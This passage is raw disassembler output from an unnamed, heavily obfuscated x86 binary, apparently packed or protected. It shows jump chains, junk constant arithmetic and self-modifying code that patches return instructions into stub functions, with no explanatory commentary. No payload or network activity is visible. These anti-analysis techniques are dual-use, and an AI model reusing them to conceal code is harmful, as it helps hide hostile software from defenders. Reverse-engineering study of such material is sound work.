CODE XREF: _0z4jwtox:loc_7546B9j shr ebx, 0Bh pushf adc ebp, ebx jmp loc_74F4BC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_60. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_748217: ; CODE XREF: _0z4jwtox:007576ADj jmp loc_7558FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7476BB loc_74821C: ; CODE XREF: sub_7476BB+Fj jmp loc_74D6AD ; END OF FUNCTION CHUNK FOR sub_7476BB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7457DD loc_748221: ; CODE XREF: sub_7457DD+BDF6j add ebp, ecx adc ecx, 7BD927A3h jmp loc_752074 ; END OF FUNCTION CHUNK FOR sub_7457DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7514AC loc_74822E: ; CODE XREF: sub_7514AC+Ej cmp byte ptr [eax], 0F1h jnz loc_7556FE jmp loc_747616 ; END OF FUNCTION CHUNK FOR sub_7514AC ; --------------------------------------------------------------------------- locret_74823C: ; CODE XREF: _0z4jwtox:0074702Dj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748A22 loc_74823D: ; CODE XREF: sub_748A22:loc_74A926j mov [ebp-4], eax loc_748240: ; CODE XREF: _0z4jwtox:loc_7494C4j ; _0z4jwtox:007494D9j ... mov eax, [ebp-1Ch] call sub_750243 mov [ebp-8], eax jmp loc_74FE3B ; END OF FUNCTION CHUNK FOR sub_748A22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7501AF loc_748250: ; CODE XREF: sub_7501AF+4B8Bj mov eax, [ebp-1Ch] mov al, [eax] mov edx, [ebp-20h] jmp loc_74F2B4 ; END OF FUNCTION CHUNK FOR sub_7501AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74673E loc_74825D: ; CODE XREF: sub_74673E+6F56j mov edi, esi pop esi sub edi, 0F873A298h test edi, 10000h jmp loc_74C8CD ; END OF FUNCTION CHUNK FOR sub_74673E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_748271: ; CODE XREF: sub_747C22:loc_7560D3j add eax, ebx pop ebx pushf loc_748275: ; CODE XREF: _0z4jwtox:00754153j push edi call sub_74CD80 xchg esi, ebp jmp sub_748B52 ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CBCF loc_748282: ; CODE XREF: sub_74CBCF:loc_75404Fj sub eax, 525B7E7Bh mov edx, [esp+0] push offset loc_74EB81 jmp loc_7557B1 ; END OF FUNCTION CHUNK FOR sub_74CBCF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749980 loc_748295: ; CODE XREF: sub_749980+D229j dec eax sub eax, 0FFFFFFFFh jl loc_75276D jmp loc_7460CA ; END OF FUNCTION CHUNK FOR sub_749980 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_7482A4: ; CODE XREF: sub_74FE55+25DEj jz loc_750861 jmp loc_74AF28 ; END OF FUNCTION CHUNK FOR sub_74FE55 ; --------------------------------------------------------------------------- loc_7482AF: ; CODE XREF: _0z4jwtox:0075110Dj push 6B10CB89h ; START OF FUNCTION CHUNK FOR sub_74F78B loc_7482B4: ; CODE XREF: sub_74F78B:loc_7510FDj add edi, 7C63979Bh mov [edi], eax pop edi lea eax, loc_74DCA0 jmp loc_745EBA ; END OF FUNCTION CHUNK FOR sub_74F78B ; --------------------------------------------------------------------------- loc_7482C8: ; DATA XREF: sub_74E7AE:loc_74ED14o mov eax, [ebp-20h] call sub_75051C pop ecx ; START OF FUNCTION CHUNK FOR sub_75263A loc_7482D1: ; CODE XREF: sub_75263A:loc_753EFBj mov [ebp-20h], eax loc_7482D4: ; CODE XREF: sub_74A47B-4DDj ; sub_74A71A+7F2Ej jo loc_745E8A test byte ptr [ebp-7], 8 jz loc_753778 push ebp jmp loc_752B11 ; END OF FUNCTION CHUNK FOR sub_75263A ; --------------------------------------------------------------------------- jmp ds:dword_41F03C ; --------------------------------------------------------------------------- loc_7482F0: ; CODE XREF: _0z4jwtox:007553CDj jmp loc_74F8D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746E37 loc_7482F5: ; CODE XREF: sub_746E37+5B78j ; _0z4jwtox:007555B6j jmp loc_748DFF ; END OF FUNCTION CHUNK FOR sub_746E37 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_207. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jb loc_74924A mov eax, [esp] push edx push eax push 0A3E352CCh jmp loc_74B12C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748BBE loc_748310: ; CODE XREF: sub_748BBE:loc_7502B0j jl loc_74851C loc_748316: ; CODE XREF: sub_756826-367Cj jmp loc_75065B ; END OF FUNCTION CHUNK FOR sub_748BBE ; --------------------------------------------------------------------------- loc_74831B: ; CODE XREF: _0z4jwtox:0074CE79j jmp locret_749CDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747736 loc_748320: ; CODE XREF: sub_747736-1CF9j jmp nullsub_19 ; END OF FUNCTION CHUNK FOR sub_747736 ; --------------------------------------------------------------------------- and ebp, 6C85509Ah xor eax, ecx jmp loc_74851C ; --------------------------------------------------------------------------- loc_748332: ; DATA XREF: sub_75043C:loc_74D0F4o xor edx, [ebx+ecx+4] cmp edx, 7C61090Eh jz loc_7521CF ; START OF FUNCTION CHUNK FOR sub_75043C loc_748342: ; CODE XREF: sub_75043C-B36Fj ; sub_75043C-8F29j ... jb loc_7537E3 or eax, eax jmp loc_7537CD ; END OF FUNCTION CHUNK FOR sub_75043C ; --------------------------------------------------------------------------- sub ebx, esi jmp sub_74D823 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_153. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_748357 proc near ; DATA XREF: _0z4jwtox:007451A5o ; FUNCTION CHUNK AT 0074669D SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0075307F SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00756171 SIZE 0000001F BYTES push 66D79BCDh pop eax add eax, 21ADA5Bh xor eax, 0A25F0FEEh test eax, 8 jmp loc_75307F sub_748357 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74ECEF loc_748374: ; CODE XREF: sub_74ECEF:loc_74BAFFj pushf push 67A702E0h pop edi sub edi, 0C9A6505Ah rol edi, 0Bh xor edi, 6F5D7978h jmp loc_75235F ; END OF FUNCTION CHUNK FOR sub_74ECEF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749EC9 loc_74838F: ; CODE XREF: sub_749EC9:loc_74C137j mov [esi], eax pop esi lea eax, nullsub_275 mov byte ptr [eax], 0C3h jmp loc_757146 ; END OF FUNCTION CHUNK FOR sub_749EC9 ; --------------------------------------------------------------------------- loc_7483A0: ; CODE XREF: _0z4jwtox:00753B71j add ebx, 0F837518Fh pushf loc_7483A7: ; CODE XREF: _0z4jwtox:loc_753B69j or ebx, 0F3CB36C1h and ebx, 68715806h add ebx, 98235DA3h jmp loc_75285A ; --------------------------------------------------------------------------- loc_7483BE: ; CODE XREF: _0z4jwtox:00750CF4j jz loc_74B6AB jmp loc_74DD63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747AEC loc_7483C9: ; CODE XREF: sub_747AEC+58BBj jz loc_74A62A jmp loc_746838 ; END OF FUNCTION CHUNK FOR sub_747AEC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F78B loc_7483D4: ; CODE XREF: sub_74F78B:loc_745EBAj mov byte ptr [eax], 0C3h jmp loc_7531D7 ; --------------------------------------------------------------------------- loc_7483DC: ; CODE XREF: sub_74F78B:loc_74DCA0j pop edx mov eax, [esp-4+arg_0] push edi rol edi, 1Dh jmp loc_7479B8 ; END OF FUNCTION CHUNK FOR sub_74F78B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7465D2 loc_7483E9: ; CODE XREF: sub_7465D2:loc_74BE09j call eax push ebx push 0EA3F5F72h xchg edi, [esp+8+var_8] mov ebx, edi pop edi jmp loc_75373D ; END OF FUNCTION CHUNK FOR sub_7465D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BD6F loc_7483FC: ; CODE XREF: sub_74BD6F+225Dj jbe loc_74CC39 cdq jmp loc_753FC4 ; END OF FUNCTION CHUNK FOR sub_74BD6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749980 loc_748408: ; CODE XREF: sub_749980+10j jnz loc_75407F loc_74840E: ; CODE XREF: sub_74E84B+644Bj jmp loc_75101C ; END OF FUNCTION CHUNK FOR sub_749980 ; --------------------------------------------------------------------------- loc_748413: ; CODE XREF: _0z4jwtox:007539E3j jmp loc_74653D ; --------------------------------------------------------------------------- loc_748418: ; CODE XREF: _0z4jwtox:0074C64Fj jmp loc_7507AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749576 loc_74841D: ; CODE XREF: sub_749576+9j jmp sub_747A4A ; END OF FUNCTION CHUNK FOR sub_749576 ; --------------------------------------------------------------------------- mov esi, 0AADE13B7h sub ebp, esi jmp loc_75407F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BD6F loc_74842E: ; CODE XREF: sub_74BD6F-19E3j rol eax, 1Bh loc_748431: ; CODE XREF: sub_74BD6F:loc_74A383j and ebx, 69C65BEFh rol ebx, 15h xor ebx, 0E3787F8Ch jmp loc_7452C2 ; END OF FUNCTION CHUNK FOR sub_74BD6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7578F4 loc_748445: ; CODE XREF: _0z4jwtox:loc_74A86Dj ; sub_7578F4+4j inc dword ptr [ebp-18h] dec dword ptr [ebp-24h] push offset loc_74A4E3 jmp loc_7454D6 ; END OF FUNCTION CHUNK FOR sub_7578F4 ; --------------------------------------------------------------------------- sub eax, 3A1A1AA2h jmp sub_7490FC ; --------------------------------------------------------------------------- loc_748460: ; CODE XREF: _0z4jwtox:00748CF7j push edx call sub_756691 mov eax, 0CC5549F7h call sub_746E93 mov ds:dword_41F078, eax jmp loc_74C5E5 ; =============== S U B R O U T I N E ======================================= sub_74847B proc near ; CODE XREF: sub_746E37+Ap ; _0z4jwtox:0074814Fj xchg ecx, [esp+0] pop ecx mov [ebp-20h], eax loc_748482: ; CODE XREF: sub_7514BF:loc_74ACABj ; sub_7514BF:loc_752E8Bj ... mov eax, [ebp-20h] sub eax, [ebp-28h] mov [ebp-24h], eax mov eax, [ebp-24h] call sub_745CC7 loc_748493: ; CODE XREF: sub_75118C-51CAj jmp sub_74A96E sub_74847B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_748498 proc near ; CODE XREF: _0z4jwtox:007495AFp ; _0z4jwtox:0074B182j arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0074A293 SIZE 00000008 BYTES xchg eax, [esp+0] pop eax push 8F7D43A4h pop ebx loc_7484A2: ; CODE XREF: _0z4jwtox:0074A142j or ebx, 9B017795h add ebx, 60F73B3Ch popf jmp loc_74A293 sub_748498 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push 7D037390h jmp sub_74B74C ; --------------------------------------------------------------------------- loc_7484BE: ; DATA XREF: sub_74CCF4+1Do mov ebx, edx pop edx retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750C4E loc_7484C2: ; CODE XREF: sub_750C4E-8B49j jmp nullsub_85 ; END OF FUNCTION CHUNK FOR sub_750C4E ; --------------------------------------------------------------------------- loc_7484C7: ; CODE XREF: _0z4jwtox:00756CAFj rol eax, 12h call sub_754949 ; START OF FUNCTION CHUNK FOR sub_748B52 loc_7484CF: ; CODE XREF: sub_748B52:loc_74E3E8j mov byte ptr [eax], 0C3h jmp loc_74FFC0 ; END OF FUNCTION CHUNK FOR sub_748B52 ; --------------------------------------------------------------------------- pop edx ; START OF FUNCTION CHUNK FOR sub_747AEC loc_7484D8: ; CODE XREF: sub_747AEC+E661j mov eax, [esp+4+var_4] push edx push esi jmp loc_756766 ; END OF FUNCTION CHUNK FOR sub_747AEC ; --------------------------------------------------------------------------- loc_7484E2: ; CODE XREF: _0z4jwtox:00745BA6j call sub_746E93 push edx call sub_752EB8 ; START OF FUNCTION CHUNK FOR sub_7490F6 loc_7484ED: ; CODE XREF: sub_7490F6-1931j jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_7490F6 ; --------------------------------------------------------------------------- loc_7484F2: ; CODE XREF: _0z4jwtox:007550D6j shl eax, 14h ; =============== S U B R O U T I N E ======================================= sub_7484F5 proc near ; CODE XREF: sub_74533B+9p ; FUNCTION CHUNK AT 0074E170 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 007560D8 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx push edx jmp loc_74E170 sub_7484F5 endp ; --------------------------------------------------------------------------- loc_7484FF: ; CODE XREF: _0z4jwtox:loc_74B6FAj mov eax, edx xchg eax, [esp] call sub_7570B1 mov eax, 0F2B89A19h call sub_756A7E loc_748513: ; CODE XREF: _0z4jwtox:loc_75286Bj xchg esi, [esp] push ecx call sub_747546 ; START OF FUNCTION CHUNK FOR sub_748BBE loc_74851C: ; CODE XREF: sub_748BBE:loc_748310j ; _0z4jwtox:0074832Dj sub eax, 45C0A9C4h or eax, 0F1EA1594h add eax, 319F8D27h call sub_74780A loc_748533: ; CODE XREF: sub_74FE55-934Aj jmp nullsub_79 ; END OF FUNCTION CHUNK FOR sub_748BBE ; =============== S U B R O U T I N E ======================================= sub_748538 proc near ; CODE XREF: sub_74E762-54E7p ; _0z4jwtox:00752C16j ; FUNCTION CHUNK AT 00747223 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0074EA37 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074F776 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00752255 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00756357 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx call sub_746E93 call sub_7509E0 or eax, 421D1551h jmp loc_747223 sub_748538 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_748551 proc near ; CODE XREF: _0z4jwtox:0074C785j ; _0z4jwtox:00750CA9p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0074991F SIZE 00000005 BYTES xchg eax, [esp+0] pop eax xchg edi, [esp-4+arg_0] jmp loc_74991F sub_748551 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_74855D: ; CODE XREF: _0z4jwtox:00746013j jnp loc_756802 and ecx, 4537AD7Dh jmp loc_74CDD2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_223. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F73B loc_74856F: ; CODE XREF: sub_74F73B+4604j jmp sub_749DB4 ; END OF FUNCTION CHUNK FOR sub_74F73B ; =============== S U B R O U T I N E ======================================= sub_748574 proc near ; DATA XREF: _0z4jwtox:00755459o ; FUNCTION CHUNK AT 00746CDD SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00747CBB SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0074937A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074EF32 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00754816 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00754DC5 SIZE 00000006 BYTES push 25BDE9B7h pop ecx sub ecx, 4D1FE108h cmp ecx, 0CF68FF84h jmp loc_754816 sub_748574 endp ; --------------------------------------------------------------------------- loc_74858B: ; CODE XREF: _0z4jwtox:0075246Bj jmp ds:dword_41F18C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7529AB loc_748591: ; CODE XREF: sub_7529AB+Dj jmp loc_74E9C0 ; END OF FUNCTION CHUNK FOR sub_7529AB ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_275. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jnb loc_74A33C call sub_749EC9 ; START OF FUNCTION CHUNK FOR sub_74BC73 loc_7485A2: ; CODE XREF: sub_74BC73+Fj jmp nullsub_271 ; END OF FUNCTION CHUNK FOR sub_74BC73 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752D11 loc_7485A7: ; CODE XREF: sub_752D11-BC79j jmp nullsub_126 ; END OF FUNCTION CHUNK FOR sub_752D11 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749010 loc_7485AC: ; CODE XREF: sub_749010+2E0Aj popf jmp loc_74EC40 ; END OF FUNCTION CHUNK FOR sub_749010 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_119. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_7485B3: ; CODE XREF: _0z4jwtox:00754F4Cj jz loc_7514A1 jmp loc_74E3F2 ; --------------------------------------------------------------------------- locret_7485BE: ; CODE XREF: _0z4jwtox:0075551Bj retn ; --------------------------------------------------------------------------- loc_7485BF: ; CODE XREF: _0z4jwtox:0074C810j jmp nullsub_269 ; --------------------------------------------------------------------------- loc_7485C4: ; CODE XREF: _0z4jwtox:0074AEF1j mov [edi], eax loc_7485C6: ; CODE XREF: _0z4jwtox:0074BBBEj pop edi lea eax, sub_750291 mov byte ptr [eax], 0C3h jmp sub_750291 ; =============== S U B R O U T I N E ======================================= sub_7485D5 proc near ; CODE XREF: sub_419FC4+5Ep ; sub_419FC4+A7p ... call sub_74CBB7 jmp ds:off_41F184 sub_7485D5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C2C9 loc_7485E0: ; CODE XREF: _0z4jwtox:loc_74818Aj ; _0z4jwtox:loc_750685j ... jnb loc_74FB3D cmp dword ptr ds:loc_74F377+1, 0 jnz loc_74A05A call sub_755179 jmp loc_756965 ; END OF FUNCTION CHUNK FOR sub_74C2C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755E40 loc_7485FD: ; CODE XREF: sub_755E40:loc_756656j jz loc_746194 jmp loc_757098 ; END OF FUNCTION CHUNK FOR sub_755E40 ; --------------------------------------------------------------------------- xchg edx, edi jmp loc_74C45B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752B0C loc_74860F: ; CODE XREF: sub_752B0C:loc_74EE0Dj xor ecx, 47BA23B9h add ecx, 6F60992Eh mov [ecx], eax pop ecx lea eax, nullsub_12 mov byte ptr [eax], 0C3h jmp loc_74F27C ; END OF FUNCTION CHUNK FOR sub_752B0C ; --------------------------------------------------------------------------- call nullsub_279 jmp ds:dword_41F148 ; --------------------------------------------------------------------------- loc_748637: ; CODE XREF: _0z4jwtox:00756C69j jmp loc_7502C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C39 loc_74863C: ; CODE XREF: sub_747C39+CAE3j jmp loc_745474 ; END OF FUNCTION CHUNK FOR sub_747C39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_753176 loc_748641: ; CODE XREF: sub_753176+6j jmp loc_7491EB ; END OF FUNCTION CHUNK FOR sub_753176 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E762 loc_748646: ; CODE XREF: sub_74E762-500j jmp loc_757307 ; END OF FUNCTION CHUNK FOR sub_74E762 ; --------------------------------------------------------------------------- loc_74864B: ; CODE XREF: _0z4jwtox:0075485Ej pushf ; START OF FUNCTION CHUNK FOR sub_75622B loc_74864C: ; CODE XREF: sub_75622B:loc_74F2E5j add eax, 0B7A03627h call sub_746E93 push ecx push 0EC56D0Dh pop ecx rol ecx, 18h and ecx, 0B30A5D74h jmp loc_7526DD ; END OF FUNCTION CHUNK FOR sub_75622B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AF9C loc_74866C: ; CODE XREF: sub_74AF9C:loc_745802j push edi push eax pop edi xchg edi, [esp+4+var_4] mov eax, edx jmp loc_752D24 ; END OF FUNCTION CHUNK FOR sub_74AF9C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_748679: ; CODE XREF: sub_74FE55-2AEFj jge loc_752303 ; END OF FUNCTION CHUNK FOR sub_74FE55 ; START OF FUNCTION CHUNK FOR sub_7539AE loc_74867F: ; CODE XREF: sub_7539AE-DB29j jmp loc_74F00B ; END OF FUNCTION CHUNK FOR sub_7539AE ; --------------------------------------------------------------------------- test ebp, ebx jmp loc_74EA06 ; --------------------------------------------------------------------------- jmp ds:dword_41F124 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- sbb al, 24h mov edx, ebx pop ebx jmp loc_752565 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752737 loc_74869C: ; CODE XREF: sub_752737-BBD9j jnz loc_74CAA7 loc_7486A2: ; CODE XREF: _0z4jwtox:00754E6Fj jmp sub_75364C ; END OF FUNCTION CHUNK FOR sub_752737 ; --------------------------------------------------------------------------- jmp loc_754E74 ; --------------------------------------------------------------------------- loc_7486AC: ; CODE XREF: _0z4jwtox:0074B3E6j jmp loc_74CD50 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A96E loc_7486B1: ; CODE XREF: sub_74A96E-4676j jmp loc_757578 ; END OF FUNCTION CHUNK FOR sub_74A96E ; --------------------------------------------------------------------------- dw 0E6C1h dd 8ED18106h, 0F3E2CC5h, 60C58Ah, 3C850F00h, 85000008h dd 43CFE9F7h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747B31 loc_7486D2: ; CODE XREF: sub_747B31:loc_7528D1j mov eax, ds:dword_74B948 or eax, eax jnz loc_7557B6 jmp loc_74D98A ; END OF FUNCTION CHUNK FOR sub_747B31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7508F9 loc_7486E5: ; CODE XREF: sub_7508F9:loc_754191j shl eax, 3 add [ebp-8], eax mov eax, [ebp-8] shr eax, 0Bh xor [ebp-8], eax jmp loc_7455C8 ; END OF FUNCTION CHUNK FOR sub_7508F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7501AF loc_7486F9: ; CODE XREF: sub_7501AF:loc_745710j pop ecx xor ecx, 80751A1Ah test ecx, 40000000h jmp loc_74E70E ; END OF FUNCTION CHUNK FOR sub_7501AF ; =============== S U B R O U T I N E ======================================= sub_74870B proc near ; CODE XREF: _0z4jwtox:00745E05j ; sub_746B7C+Cp var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00746613 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00748BF1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074F21E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 007551C3 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax loc_74870F: ; CODE XREF: sub_7474B9+8487j cmp dword ptr [ebp-8], 0 jle loc_7488E0 mov eax, [ebp-4] xor edx, edx jmp loc_746613 sub_74870B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_748723 proc near ; DATA XREF: sub_746C5E+3F7Eo var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0074645D SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0074733D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00749176 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00749210 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0074F5D0 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 007525F6 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00754DD5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075665B SIZE 00000005 BYTES sub eax, 7407BC01h ror eax, 13h mov edx, [esp+0] push ebp jmp loc_754DD5 sub_748723 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D1BD loc_748735: ; CODE XREF: sub_74D1BD+15j lea eax, nullsub_6 mov byte ptr [eax], 0C3h jmp nullsub_6 ; END OF FUNCTION CHUNK FOR sub_74D1BD ; =============== S U B R O U T I N E ======================================= sub_748743 proc near ; CODE XREF: sub_40517E+5FDp ; _0z4jwtox:0074DAB5j ; DATA XREF: ... push ecx push offset loc_7511C9 jmp nullsub_33 sub_748743 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A7D8 loc_74874E: ; CODE XREF: sub_74A7D8+A2D9j jo loc_74BF8D test eax, ebx jmp loc_74FF3B ; END OF FUNCTION CHUNK FOR sub_74A7D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C4BB loc_74875B: ; CODE XREF: sub_74C4BB:loc_755806j or ebx, 1DB60D4h jns loc_74EE74 pushf test esi, 5C353C7Ch jmp loc_74EE6D ; END OF FUNCTION CHUNK FOR sub_74C4BB ; =============== S U B R O U T I N E ======================================= sub_748773 proc near ; CODE XREF: _0z4jwtox:00747D15j ; sub_7558BD+6p arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00745807 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074A974 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0074CDA6 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0074D97F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074F802 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0074FF10 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00755117 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx pop eax mov [ebx], eax pop ebx jmp loc_745807 sub_748773 endp ; sp-analysis failed ; --------------------------------------------------------------------------- add edi, esi test edx, 0C0151044h ; START OF FUNCTION CHUNK FOR sub_755E40 loc_748788: ; CODE XREF: sub_755E40-160Fj jmp loc_7496A2 ; END OF FUNCTION CHUNK FOR sub_755E40 ; --------------------------------------------------------------------------- mov ds:dword_41F110, eax lea eax, sub_7467F4 mov byte ptr [eax], 0C3h jmp sub_7467F4 ; --------------------------------------------------------------------------- loc_7487A1: ; CODE XREF: _0z4jwtox:007467FAj mov eax, [esp] push edx jmp loc_7538CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B719 loc_7487AA: ; CODE XREF: sub_74B719-54EEj mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F7h jnz loc_755B94 loc_7487BA: ; CODE XREF: sub_74B719-5503j ; sub_74B719-54F4j ... js loc_755D0D mov eax, [ebp+8] loc_7487C3: ; CODE XREF: _0z4jwtox:0074F8DFj test byte ptr [eax-10h], 38h jmp loc_74C3BE ; END OF FUNCTION CHUNK FOR sub_74B719 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E03D loc_7487CC: ; CODE XREF: sub_74E03D+18j setz al call sub_7452F3 ; END OF FUNCTION CHUNK FOR sub_74E03D ; START OF FUNCTION CHUNK FOR sub_755CFC loc_7487D4: ; CODE XREF: sub_755CFC:loc_755D08j pop ecx shl eax, 7 jmp loc_75334B ; END OF FUNCTION CHUNK FOR sub_755CFC ; --------------------------------------------------------------------------- db 0Fh db 8Bh ; db 0EBh ; db 0C9h ; db 0 db 0 db 0E9h ; db 42h ; B db 0B4h ; db 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F266 loc_7487E8: ; CODE XREF: sub_74F266:loc_74F272j push offset loc_74D155 jmp loc_74F4E2 ; END OF FUNCTION CHUNK FOR sub_74F266 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75299B loc_7487F2: ; CODE XREF: sub_75299B:loc_7529A6j jnz loc_74B9CF jmp loc_7467E0 ; END OF FUNCTION CHUNK FOR sub_75299B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745911 loc_7487FD: ; CODE XREF: sub_745911+7B4j mov eax, [ebp+var_4] cmp byte ptr [eax], 0CFh jz loc_747CE0 mov eax, [ebp+var_4] cmp byte ptr [eax], 0E9h jz loc_747CE0 jmp loc_7500E4 ; --------------------------------------------------------------------------- loc_74881A: ; CODE XREF: sub_745911:loc_7460ABj mov eax, [ebp+var_4] jmp loc_7489AA ; END OF FUNCTION CHUNK FOR sub_745911 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7523A2 loc_748822: ; CODE XREF: sub_7523A2-8C9Ej sub esi, 0D4ABE3FEh or esi, 0D2381308h add esi, 237A5C2h xchg esi, [esp+0] jmp loc_750656 ; END OF FUNCTION CHUNK FOR sub_7523A2 ; --------------------------------------------------------------------------- loc_74883C: ; CODE XREF: _0z4jwtox:0074801Bj jnz loc_7520B1 ; START OF FUNCTION CHUNK FOR sub_74DE6C loc_748842: ; CODE XREF: sub_74DE6C+1Cj jmp loc_754741 ; END OF FUNCTION CHUNK FOR sub_74DE6C ; --------------------------------------------------------------------------- cmp edi, edx jmp loc_746761 ; --------------------------------------------------------------------------- mov eax, 662F423h push esi call sub_747197 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_83. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_74885A: ; CODE XREF: _0z4jwtox:00756856j jmp loc_752AFD ; 